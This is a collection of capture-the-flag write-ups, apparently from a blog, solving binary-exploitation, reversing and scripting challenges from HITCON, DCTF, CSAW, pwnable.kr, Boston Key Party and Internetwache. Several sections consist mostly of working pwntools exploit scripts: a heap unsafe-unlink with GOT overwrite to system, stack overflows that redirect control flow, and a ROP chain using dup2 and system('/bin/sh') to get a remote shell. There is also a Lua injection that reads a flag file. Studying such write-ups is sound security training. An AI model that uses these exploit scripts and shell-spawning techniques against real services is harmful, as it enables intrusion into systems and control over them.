2. Wipe secret: free the corresponding memory.
3. Renew secret: Overwrite the content of the corresponding memory.

Three secrets:

1. Small secret: 40 bytes
2. Big secret: 4000 bytes
3. Huge secret: 400000 bytes

We can only keep at most one secret per size. Three pointers of the secret are store on the .bss section with three flags which indicate whether the secret has been allocated.

The vulnerability comes from the wipe function. The program will check whether the secret has been created in keep and renew but not in wipe, so we can free an already freed secret. free a secret twice consecutively would only make the program crash due to the double free detection. However, if we keep another secret on the same address after the first free, we can free this new secret through the old pointer. Then, since the new secret doesn’t aware of this free, we can still write data to it and cause an use after free vulnerability.

For example, if we invoke functions in the following sequence:
keep('small') -> wipe('small') -> keep('big') -> wipe('small') -> keep('small')

The heap layout would be like:

We can now overflow the header of the top chunk. There is a technique call “House of force”, which is related to modify the header of the top chunk. However, it also requires the ability to malloc arbitrary size, so this program is not the case.

I was stuck in here for a while until I accidentally found an interesting fact of heap. The huge secret is too large to fit in the main arena, so it supposed to be allocated by mmap. It does call mmap at the first time, however, if I free the memory and malloc again, the new memory chunk will surprisingly appear in the main arena. I can’t find the description of this property on related heap exploit document. Maybe I should check it out in the source code someday. Anyway, this property turns out to be the key point of solving this problem.

We first invoke functions as the previous example with additional keep(huge) -> wipe(huge) -> keep(huge). The heap layout would become:

Then, we are able to modify the content of the small secret and the header of the huge secret. These abilities plus the pointer of the secrets on .bss section enable a classical attack call “unsafe unlink”. I create a fake freed chunk in the small secret, whose fd and bk points to small secret pointer - 0x18 and small secret pointer - 0x10 respectively, and change the PREV_INUSE bit of the huge secret to 0. After wiping the modified huge secret, the small secret pointer would point to a little offset before itself, allowing us to overflow three secret pointers and further get the arbitrary write.

Before modifying GOT entry to system, we have to leak the base of libc first. I achieve it by changing the free GOT entry to the address of puts in .plt section and make the big secret pointer point to read GOT entry. Then, calling wipe on the big secret would print the address of read and leak the address of libc (I guessed the libc binary is the same as another pwn problem. libc.so).

Finally, we can change the atoi GOT entry to system, and input "sh" to get the shell. The whole exploit is as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

from pwn import *
from time import sleep

context.terminal = ['tmux', 'splitw', '-h']

small_secret = 0x6020B0
big_secret = 0x6020A0
puts_plt = 0x4006C0
free_got = 0x602018
read_got = 0x602040
atoi_got = 0x602070

read_base = 0xf69a0
system_base = 0x45380

size_num = { 'small': '1', 'big': '2', 'huge': '3' }

def keep(size):
    print r.recvuntil('3. Renew secret\n')
    log.info('keep ' + size + ' secret')
    r.sendline('1')
    print r.recvuntil('3. Huge secret\n')
    r.sendline(size_num[size])
    print r.recvuntil(':')
    r.send(size)

def wipe(size):
    print r.recvuntil('3. Renew secret\n')
    log.info('wipe ' + size + ' secret')
    r.sendline('2')
    print r.recvuntil('3. Huge secret\n')
    r.sendline(size_num[size])

def renew(size, content):
    print r.recvuntil('3. Renew secret\n')
    log.info('renew ' + size + ' secret')
    r.sendline('3')
    print r.recvuntil('3. Huge secret\n')
    r.sendline(size_num[size])
    print r.recvuntil(':')
    r.send(content)

# r = process('./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8', env={'LD_PRELOAD': './libc.so.6_375198810bb39e6593a968fcbcf6556789026743'})
# gdb.attach(r, '''
# c
# ''')
r = remote('52.68.31.117', 5566)

keep('small')
wipe('small')
keep('big')
wipe('small')
keep('small')
keep('huge')
wipe('huge')
keep('huge')

renew('big', p64(0) + p64(49) + p64(small_secret-0x18) + p64(small_secret-0x10) + p64(32) + p64(400016))
wipe('huge') # trigger unsafe unlink
renew('small', 'A'*8 + p64(free_got) + 'A'*8 + p64(big_secret)) # padding + big_secret + huge_secret + small_secret
renew('big', p64(puts_plt))
renew('small', p64(read_got)) # *free_got = puts_plt, *big_secret = read_got

wipe('big') # puts(read_got)
data = r.recvline()
print repr(data)
read_addr = u64(data[:6] + '\x00\x00')
log.critical('read_addr: ' + hex(read_addr))
libc_addr = read_addr - read_base
log.critical('libc_addr: ' + hex(libc_addr))
system_addr = libc_addr + system_base
log.critical('system_addr: ' + hex(system_addr))

renew('small', p64(atoi_got) + 'A'*8 + p64(big_secret) + p64(1)) # big_secret + huge_secret + small_secret + big_in_use_flag
renew('big', p64(system_addr)) # *atoi_got = system_addr

log.critical("get shell")
r.send('sh')

r.interactive()

Flag: hitcon{The73 1s a s3C7e+ In malloc.c, h4ve y0u f0Und It?:P}

Note

What I’ve learned:
The behavior of malloc when the requested size is greater than the main arena limit.

10.13.37.22:1337
https://dctf.def.camp/quals-2016/exp200.bin

Exploit

This is a straightforward echo server with a bare buffer overflow vulnerability. Stack canary is not enable, and there is even a hidden print-flag function in the binary. So, just overflow the return address and jump to the target in the old-school fashion. To trigger the ret, we need to enter a string whose position 0, 1, 2, 4 are s, t, o, p respectively.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

from pwn import *
from time import sleep

gift = 0x400B90

r = remote('10.13.37.22', 1337)

r.send('A'*104 + p64(gift))
sleep(0.1)
print repr(r.recv())
sleep(2)
r.send('stoop')
sleep(1)
print repr(r.recv())

Flag: DCTF{53827349d071f72d5cbcc37d3a14ca39}

10.13.37.21:1337
https://dctf.def.camp/quals-2016/exp100.bin

Exploit

The binary malloc four chunks as the figure shown above. The first and the third chunks contain a pointer to the second and the fourth chunks respectively. Then, it will invoke two fgets to these two pointers. We can make use of the buffer overflow bug of the first fgets to change the destination of the second fgets. By changing the value of the GOT of exit to the embedded print-flag function, we can get the flag easily.

1
2
3
4
5
6
7
8
9
10

from pwn import *

exit_got = 0x601068
flag = 0x400826

r = remote('10.13.37.21', 1337)

r.sendline('A'*40 + p64(exit_got))
r.sendline(p64(flag))
print r.recvall()

Flag: DCTF{b94c21ff7531cba35a498cb074918b3e}

Ok sport, now that you have had your Warmup, maybe you want to checkout the Tutorial.
nc pwn.chal.csaw.io 8002
tutorial libc-2.19.so

TL;DR

• A socket server
• Obvious leak of libc address and stack canary + provided libc library + stack buffer overflow
• ROP attack (dup2, dup2, system("/bin/sh"))

Exploit

The direct execution of tutorial will crash. So, I inspect the binary with IDA Pro and found that this is a TCP server which requires a port number as the argument and a user call tutorial exists in the system. After slightly patching the program and providing the port number, I can run the program on my computer. Connecting to the server, it displays three options.

-Tutorial-
1.Manual
2.Practice
3.Quit
>

The first option 1.Manual prints an address Reference:0x7fad235d3860, which is the address of puts - 1280. Together with the provided libc-2.19.so, it allows us to caculate the address of other functions in the libc.

The second option 2.Practice asks us to input our exploit. Sending some random input, it seems to echo our input with some extra binary data in the end.

>2
Time to test your exploit...
>abc
abc
��g�]�p�g/�-

It turns out that these binary data are stack canary and part of the rbp. With the knowledge of stack canary and the address of functions in libc, now we can make use of the stack buffer overflow vulnerability of option 2 to conduct the ROP attack.

Notice that the server interacts with us via socket instead of standard input output. We can’t merely invoke the system("/bin/sh"), which opens a shell only on the server side. The most common solution is using dup2 to duplicate the file descriptor of socket connection to standard input and output before calling system. There are three ways to find out the file descriptor of the connection:

1. Educated guess. Functions usually return the lowest possible file descriptor. Standard input, output, and error are 0, 1, and 2 respectively. socket may return 3. Then accept is likely to return 4.
2. Leak stack buffer. Since we can leak the lower four bytes of rbp, we can easily guess the address of stack and leak the file descriptor stored in it.
3. ls -l /proc/<pid>/fd. Execute the program locally and inspect what file descriptors are being used.

The script is as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

from pwn import *
from time import sleep

# ROP gadget
pop_rsi_r15 = 0x4012e1
pop_rdi = 0x4012e3

puts_base = 0x6fd60
system_base = 0x46590
bin_sh_base = 0x17c8c3
dup2_base = 0xebe90

r = remote('pwn.chal.csaw.io', 8002)

# leak libc address
print r.recvuntil('>')
r.sendline('1')
line = r.recvline()[:-1]
print line
puts_addr = int(line[-14:], 16) + 1280
libc_addr = puts_addr - puts_base
system_addr = libc_addr + system_base
bin_sh_addr = libc_addr + bin_sh_base
dup2_addr = libc_addr + dup2_base

# leak canary
print r.recvuntil('>')
r.sendline('2')
print r.recvuntil('>')
r.send(' ')
sleep(0.2)
data = r.recv()
canary = data[-12:-4]
print repr(data)

# ROP payload
print r.recvuntil('>')
r.sendline('2')
print r.recvuntil('>')
payload = 'A'*312 + canary + 'A'*8
payload += p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(0) + 'A'*8 + p64(dup2_addr) # dup2(4, 0)
payload += p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(1) + 'A'*8 + p64(dup2_addr) # dup2(4, 1)
payload += p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)                         # system("/bin/sh")
r.send(payload)

r.interactive()

Flag: FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}

Note

• What I’ve learned:
  • Using dup2 to get the interactive shell of socket server.
  • There is no need to inject the string /bin/sh to somewhere in the buffer as I first did. This string is containing in the libc, and its offset can be found by strings -t x libc-2.19.so | grep "/bin/sh"
• This server using fork to create a new process to handle the new user’s request, so the base address of libc and the value of stack canary remain the same from request to request. There is no need to automatically parse these value during the contest. Just hard code them in the script to save some time.

Wow, this looks like an aul-ful game. I think there is a flag around here somewhere…
nc pwn.chal.csaw.io 8001

Exploit

After connecting to the server, it display some sort of game. The interesting thing is that when we type help, it will print some binary-like data.

let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
help
help
LuaS�

xV(w@�,��,�,���,��,�,���„,��,�,���CA�$@@C$@�&�
                                              make_boardpopulate_boardboard_tostringfallrotatecrush
                                                                                                   rotate_lefreadAllhelpquitexit	run_stepgame
writelinelet's play a game


K@J��@@��
         AF�@
setmetatable�J��@�f&�size
            __tostringboard_tostring"
                                     .�@���A@�@@$Ab@�����@RA, @��@�F�A���AB���Ad������
@i���A�����h��@d���C�BC���
��g��F�C�ef&�sizemath
F@G@�������d���F��@�&&�mathrandom$/!K�@�@�@A�����BN�@��(B��A�������݁'�BA�A@�������$B�����@A���AA���&�
size| tableinsert |concat
1D
G@�@@��������N��(���@�$B'���&�size
�OCMÂGC�@'��@��&�size            make_board5EN���@�@������������_@@�����������������N����&���������FSG@�@@����������A������΁��N����(B�C�
                       make_boardUg
$G@�@@��������A�A���@�N����(A����'��OA�N����(A�B�G�GB�@@����@����'��&size
                                                                           make_boardabcdik	F@�@�@��ef&�rotatemr
                                                                                                                    F@G@����d���������@��@�&�ioopenrbread*allclosetx@@@F�@��d��$��F@A��@ǀ��d@&�stringsureadAll
                                     server.luac	writerawlen{@@�&�quit�-F@d���@@��@�����@���A�@����@@�@A�������@����@@�@A�������@����B�@���������B@������&�
                                                                                                                                                                   	readlinestringlenexitfind	functionprintloareturn ��%@F@@��d$�F�@�A����@��d@F�A�d���A�@@�_�@���@BƀBAB@$�������@���@���&�
                                                                                                                              populate_board
                                                                                                                                            make_board
writelineboard_tostring
	run_stepquitfallcrushEDidn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.
Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.

According to its first few bytes Lua, I suppose it is Lua bytecode. However, when I try to decompile or execute the binary, it seems to be corrupted. This writeup has described how to fix the binary, but during the contest, I just tried entering some function name shown in the binary like game and found that the function will be called. Furthermore, I found that it can actually execute arbitrary Lua function like io.write('hi'). I then entering io.write(io.open("flag", "r"):read("*all")) to read and print the flag.

let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
io.write(io.open("flag", "r"):read("*all"))
io.write(io.open("flag", "r"):read("*all"))
flag{we_need_a_real_flag_for_this_chal}

Yes, I luckily guess the filename flag.

Flag: flag{we_need_a_real_flag_for_this_chal}

Note

Instead of guessing the filename of the flag, using os.execute("/bin/sh") can get the shell reliably (reference).

So you want to be a pwn-er huh? Well let’s throw you an easy one ;)
nc pwn.chal.csaw.io 8000
warmup

Exploit

As the description said, this is a very straightforward question. Even without reversing the binary, it prints the address of the target function system("cat flag.txt"); for us. Just buffer overflow the return address and jump to that funtion to get the flag.

-Warm Up-
WOW:0x40060d
>

1
2
3
4
5

from pwn import *

r = remote('pwn.chal.csaw.io', 8000)
r.sendline('A'*72 + p64(0x40060d))
print r.recvall()

Flag: FLAG{LET_US_BEGIN_CSAW_2016}

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!
ssh col@pwnable.kr -p2222 (pw:guest)

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

The target program converts the argument from a 20 bytes string to an array of 5 integers and sum them up. If the sum equals to 0x21DD09EC, it will output the flag. I craft the input with 4 integers of \x01\x01\x01\x01 (just for padding) plus an integer of the difference to the target hashcode. The difference can be calculated as follows.

1
2

from pwn import *
print repr(p32(0x21DD09EC - u32('\x01\x01\x01\x01')*4))

After calculating the difference, which is \xe8\x05\xd9\x1d, we can solve the problem with the input mentioned above.

$ ./col $'\xe8\x05\xd9\x1d\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
daddy! I just managed to create a hash collision :)

Flag: daddy! I just managed to create a hash collision :)

Mommy! what is a file descriptor in Linux?
ssh fd@pwnable.kr -p2222 (pw:guest)

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

The target program will read 32 bytes from file descriptor argv[1] - 0x1234, and if the content equals to LETMEWIN\n, it will output the flag. To solve this problem, we can pass 4660 (0x1234) as the first argument. Then this program will read from the standard input, which we can assign its value to LETMEWIN\n to get the flag.

$ echo "LETMEWIN" | ./fd 4660
good job :)
mommy! I think I know what a file descriptor is!!

Flag: mommy! I think I know what a file descriptor is!!

python or ruby? why not both!
https://s3.amazonaws.com/bostonkeyparty/2016/9c2b8593c64486de25698fcece7c12fa0679a224.tar.gz

Exploit

This challenge involves three languages: Ruby, Python, and x86-64 assembly. They are combined by some kind of native extension mechanism, but we don’t have to understand the details of the mechanism nor master these languages to solve the problem. Just make the best guess and verify it. First, have a look at the main program.

1
2
3
4
5
6
7
8
9

require_relative 'unholy'
include UnHoly
python_hi
puts ruby_hi
puts "Programming Skills: PRIMARILY RUBY AND PYTHON BUT I CAN USE ANY TYPE OF GEM TO CONTROL ANY TYPE OF SNAKE"
puts "give me your flag"
flag = gets.chomp!
arr = flag.unpack("V*")
is_key_correct? arr

The methods used in main.rb can be found in unholy.so. Here is the piece of code that register the Ruby module and methods.

void __cdecl Init_unholy()
push    rbx
lea     rdi, aUnholy    ; "UnHoly"
call    _rb_define_module
mov     rbx, cs:UnHoly_ptr
lea     rdx, method_python_hi
lea     rsi, aPython_hi ; "python_hi"
mov     rdi, rax
xor     ecx, ecx
mov     [rbx], rax
call    _rb_define_method
mov     rdi, [rbx]
lea     rdx, method_ruby_hi
lea     rsi, aRuby_hi   ; "ruby_hi"
xor     ecx, ecx
call    _rb_define_method
mov     rdi, [rbx]
lea     rdx, method_check_key
lea     rsi, aIs_key_correct ; "is_key_correct?"
pop     rbx
mov     ecx, 1
jmp     _rb_define_method

The main program want us to enter the flag, and then it will unpack the input string into integer array and pass it to the method is_key_correct?. According to Init_unholy above, we should look into method_check_key now. method_check_key can be divided into three parts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

v2 = *(_QWORD *)payload;
if ( BYTE1(v2) & 0x20 )
  v3 = (v2 >> 15) & 3;
else
  v3 = *(_DWORD *)(payload + 16);

key[0] = 'tahw';
key[1] = 'iogs';
key[2] = 'nogn';
key[3] = 'ereh';

if ( v3 == 9 )
{
  v4 = 0LL;
  do {
    LODWORD(v5) = rb_ary_entry(payload, v4);
    if ( v5 & 1 )
      v6 = rb_fix2int(v5);
    else
      v6 = rb_num2int(v5);
    matrix[v4++] = v6;
  } while ( v4 != 9 );
  matrix[9] = 1634947872;
  ...

I have spent some time investigating why it check whether the first byte of the payload is 0x20, what rb_ary_entry, rb_fix2int, and rb_num2int do, and so on. However, they are quite irrelevant. They are all about the memory representation of Ruby’s data structure (e.g. the first byte of the payload is the length of the Ruby’s array). Using gdb, we can directly find out what Part1 does is putting our input (in integer array format) into matrix and initialize some other data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

...
v7 = 0LL;
do {
  v8 = 0;
  LODWORD(v9) = *(_QWORD *)&matrix[v7];
  v10 = *(_QWORD *)&matrix[v7] >> 32;
  do {
    v11 = v8 + key[(unsigned __int64)(v8 & 3)];
    v8 -= 1640531527;
    v9 = (v11 ^ ((16 * (_DWORD)v10 ^ ((unsigned int)v10 >> 5)) + (_DWORD)v10)) + (unsigned int)v9;
    v10 = ((v8 + key[(unsigned __int64)((v8 >> 11) & 3)]) ^ ((16 * (_DWORD)v9 ^ ((unsigned int)v9 >> 5)) + (_DWORD)v9))
        + (unsigned int)v10;
  } while ( v8 != -957401312 );
  *(_QWORD *)&matrix[v7] = v9 | (v10 << 32);
  v7 += 2LL;
} while ( v7 != 10 );
...

In Part2, it applys some operations on matrix (our input) and key (known data) two entries at a time. It look messy at the first glance, but the operations can actually be inverted. Values derived from v8 are constant, so we know that the inner loop will iterate 32 times and the operation can be simplify as

1
2
3

for i in range(32):
    v9 = (C ^ (16*v10 ^ (v10 >> 5)) + v10) + v9
    v10 = (C ^ (16*v9 ^ (v9 >> 5)) + v9) + v10

where C stands for known constant. We can calculate v10 of the previous loop by current v10 and v9, and then we can use previous v10 and current v9 to calculate previous v9. Following this process, we can get the initial v9 and v10.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

  ...
  if ( matrix[9] == 1306786301 )
  {
    __sprintf_chk(
      stacker,
      1LL,
      5000LL,
      "exec \"\"\"\\nimport struct\\ne=range\\nI=len\\nimport sys\\nF=sys.exit\\nX=[[%d,%d,%d],[%d,%d,%d],[%d,%d,%d]]\\nY = [[383212,38297,8201833],[382494 ,348234985,3492834886],[3842947 ,984328,38423942839]]\\nn=[5034563854941868,252734795015555591,55088063485350767967,-2770438152229037,142904135684288795,-33469734302639376803,-3633507310795117,195138776204250759,-34639402662163370450]\\ny=[[0,0,0],[0,0,0],[0,0,0]]\\nA=[0,0,0,0,0,0,0,0,0]\\nfor i in e(I(X)):\\n for j in e(I(Y[0])):\\n  for k in e(I(Y)):\\n   y[i][j]+=X[i][k]*Y[k][j]\\nc=0\\nfor r in y:\\n for x in r:\\n  if x!=n[c]:\\n   print \"dang...\"\\n   F(47)\\n  c=c+1\\nprint \":)\"\\n\"\"\"",
      matrix[0],
      matrix[1]);
    Py_Initialize(stacker, 1LL);
    PyRun_SimpleStringFlags(stacker, 0LL);
    Py_Finalize(stacker, 0LL);
  }
}

The parameters of sprintf is incorrect in the decompiled code, but it suggests that Part3 prints the values in matrix into following Python code and execute it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

exec """
import struct
e=range
I=len
import sys
F=sys.exit

X=[[%d,%d,%d],[%d,%d,%d],[%d,%d,%d]]
Y = [[383212,38297,8201833],[382494 ,348234985,3492834886],[3842947 ,984328,38423942839]]
n=[5034563854941868,252734795015555591,55088063485350767967,-2770438152229037,142904135684288795,-33469734302639376803,-3633507310795117,195138776204250759,-34639402662163370450]
y=[[0,0,0],[0,0,0],[0,0,0]]
A=[0,0,0,0,0,0,0,0,0]

for i in e(I(X)):
    for j in e(I(Y[0])):
        for k in e(I(Y)):
            y[i][j]+=X[i][k]*Y[k][j]

c=0
for r in y:
    for x in r:
        if x!=n[c]:
            print "dang..."
            F(47)
        c=c+1
print ":)"
"""

This Python code multiplies two matrices. We can solve it by inverse matrix or using Z3.

Combining the reversing process of Part2 and Part3, we can use following Python script to get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

from numpy import array, dot, float64
from numpy.linalg import inv
from pwn import *

# reverse Part3: matrix multiplication
Y = array([[383212, 38297, 8201833],
           [382494, 348234985, 3492834886],
           [3842947, 984328, 38423942839]], float64)
n = array([[5034563854941868,252734795015555591,55088063485350767967],
           [-2770438152229037,142904135684288795,-33469734302639376803],
           [-3633507310795117,195138776204250759,-34639402662163370450]], float64)

#matrix = [-1304886577, 722035088, 1368334760,
#           1473172750, 412774077, -908901225,
#           -490967005, 563111828, -952589187, 1306786301]
matrix = dot(n, inv(Y)).round().astype(int).flatten().tolist() + [1306786301]

# reverse Part2
key = [1952540791, 1768908659, 1852794734, 1701995880]
v8 = 0;
ary11 = []
ary12 = []

# compute the needed constant
while True:
    v11 = v8 + key[v8 & 3];
    ary11.append(v11)
    v8 = (v8 - 1640531527)&0xffffffff;
    v12 = v8 + key[(v8 >> 11) & 3]
    ary12.append(v12)

    if v8 == -957401312&0xffffffff:
        break

flag = ''
for i in range(0, len(matrix), 2):
    v9 = matrix[i]&0xffffffff
    v10 = matrix[i+1]&0xffffffff

    for j in reversed(range(32)):
        v10 = (v10 - (ary12[j] ^ ((16*v9 ^ (v9 >> 5)) + v9)))&0xffffffff
        v9 = (v9 - (ary11[j] ^ ((16*v10 ^ (v10 >> 5)) + v10)))&0xffffffff

    flag += p32(v9) + p32(v10)

print flag[:-4]

&0xffffffff which scatters in the script is to simulate integer overflow.

Flag: BKPCTF{hmmm _why did i even do this}

Note

1. It seems that Python doesn’t provide a handy way to compute integer with overflow.
2. I try to solve Part2 by Z3 at the beginning, but it hang forever. Sometimes we should just settle down to read the code and get our hands dirty. Don’t depend on tools too much.
3. I debug by gdb --args ruby main.rb, but it is hard to set breakpoints in a shared library. Maybe there is a better way to debug.
4. According to other people’s writeup, the Part2 is actually doing XTEA cipher. The clue is lots of xor and shift operations which implie it is performing some kind of cipher. By googling the constant 0xc6ef3720, we can find out that the answer is XTEA.

I created a program for an unsolveable equation system. My friend somehow forced it to solve the equations. Can you tell me how he did it?

Exploit

This challenge asks us to solve the following equations.

Solve the following equations:
X > 1337
X * 7 + 4 = 1337

Obviously, the solution exists only if the integer overflow exists. I use Z3 to solve this problem.

1
2
3
4
5
6
7
8
9
10

from z3 import Solver, BitVec

s = Solver()
x = BitVec('x', 32)

s.add(x > 1337)
s.add(x*7 + 4 == 1337)

s.check()
print s.model()

$ python solve.py
[x = 613566947]

Flag: IW{Y4Y_0verfl0w}

Hi, my name is Ruby. I like converting characters into ascii values and then calculating the sum.

Exploit

Let me count the ascii values of 10 characters:
abcdefghij
WRONG!!!! Only 10 characters matching /^[a-f]{10}$/ !

So, now we know the matching regular expression. However, we can’t achieve the target score by input only 10 [a-f] characters.

Let me count the ascii values of 10 characters:
ffffffffff
Sum is: 1020
That's not enough (1020 < 1020)

To input more characters, I make use of the feature of Ruby’s regular expression describe in this post.

^ for start-of-string and $ for end-of-string ARE just new lines - \n!

Using following pattern, we can make the sum more than 1020 and get the flag.

1
2
3
4
5

from pwnlib.tubes.remote import remote

r = remote('188.166.133.53', 12037)
r.send('aaaaaaaaaa\naaaaaaaaaa\n')
print r.recvall()

Flag: IW{RUBY_R3G3X_F41L}

Math is used in cryptography, but someone got this wrong. Can you still solve the equations?
Hint: You need to encode your answers.
Attachment: code70.zip

Exploit

This challenge is different from A numbers game (code 50) with only an additional encode/decode process. The encode function has been provided.

1
2
3
4
5
6
7
8
9
10
11
12
13

def encode(self, eq):
    out = []
    for c in eq:
        q = bin(self._xor(ord(c),(2<<4))).lstrip("0b")
        q = "0" * ((2<<2)-len(q)) + q
        out.append(q)
    b = ''.join(out)
    pr = []
    for x in range(0,len(b),2):
        c = chr(int(b[x:x+2],2)+51)
        pr.append(c)
    s = '.'.join(pr)
    return s

The result of the encoded equations look like:

Level 1.: 4.4.5.3.3.3.3.3.3.3.5.6.3.3.3.3.3.4.3.4.3.4.4.4.3.3.3.3.3.4.6.4.3.3.3.3.3.4.3.6.3.4.4.3

What encode function does is

1. Xor every charactors with 32 (e.g. ‘x’ -> 88)
2. Convert every charactors to the binary form with padding 0 (e.g. 88 -> ‘01011000’)
3. Concatenate the result in 2.
4. Convert every two digits into integer and plus 51 (e.g. ‘01011000’ -> [52, 52, 53, 51])
5. Convert the numbers above to charactors and concatenate them with ‘.’ (e.g. [52, 52, 53, 51] -> ‘4.4.5.3’)

To decode, just reverse the process above. With the encode and decode function, we can use the same program shown in A numbers game (code 50) to solve the program and get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

from pwnlib.tubes.remote import remote

def decode(cypher):
    b = ''
    for c in cypher.split('.'):
        b += bin(ord(c)-51)[2:].rjust(2, '0')

    eq = ''
    for i in range(0, len(b), 8):
        eq += chr(int(b[i:i+8], 2)^32)

    return eq

def encode(eq):
    out = []
    for c in eq:
        q = bin(ord(c)^(2<<4)).lstrip("0b")
        q = "0" * ((2<<2)-len(q)) + q
        out.append(q)
    b = ''.join(out)
    pr = []
    for x in range(0,len(b),2):
        c = chr(int(b[x:x+2],2)+51)
        pr.append(c)
    s = '.'.join(pr)
    return s

r = remote('188.166.133.53', 11071)

while True:
    lines = r.recvlines(2)
    print '\n'.join(lines)

    eq = decode(lines[1].split()[2])
    print 'equation:', eq
    sp = eq.split()

    if sp[1] == '+':
        x = int(sp[4]) - int(sp[2])
    elif sp[1] == '-':
        x = int(sp[4]) + int(sp[2])
    elif sp[1] == '*':
        x = int(sp[4]) / int(sp[2])
    elif sp[1] == '/':
        x = int(sp[4]) * int(sp[2])

    print 'x = ', x
    print 'encode: ', encode(str(x))
    r.sendline(encode(str(x)))

Flag: IW{Crypt0_c0d3}

We all know that prime numbers are quite important in cryptography. Can you help me to find some?

Exploit

In this challenge, we have to find the next prime to a given number 100 times to get the flag. The questions are in the following format.

Level 1.: Find the next prime number after 8:

There is a nextprime function in SymPy, so we can solve this problem easily.

1
2
3
4
5
6
7
8
9
10
11

from sympy import nextprime
from pwnlib.tubes.remote import remote

r = remote('188.166.133.53', 11059)

while True:
    lines = r.recvlines(2)
    print '\n'.join(lines)
    p = nextprime(lines[1].split()[8][:-1])
    print p
    r.send(str(p))

Flag: IW{Pr1m3s_4r3_!mp0rt4nt}

People either love or hate math. Do you love it? Prove it! You just need to solve a bunch of equations without a mistake.

Exploit

In this challenge, we need to solve 100 equations to get the flag. The equations are in the following form.

Level 1.: x * 14 = 238

Level 2.: x + 35 = 43

There is no special technique. Just parse the equations and solve it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

from pwnlib.tubes.remote import remote

r = remote('188.166.133.53', 11027)

while True:
    lines = r.recvlines(2)
    print '\n'.join(lines)
    sp = lines[1].split()

    # sp[3] is the operator
    # sp[4] is the operand on the left side
    # sp[6] is the operand on the right side
    if sp[3] == '+':
        x = int(sp[6]) - int(sp[4])
    elif sp[3] == '-':
        x = int(sp[6]) + int(sp[4])
    elif sp[3] == '*':
        x = int(sp[6]) / int(sp[4])
    elif sp[3] == '/':
        x = int(sp[6]) * int(sp[4])

    print x
    r.sendline(str(x))

Flag: IW{M4TH_1S_34SY}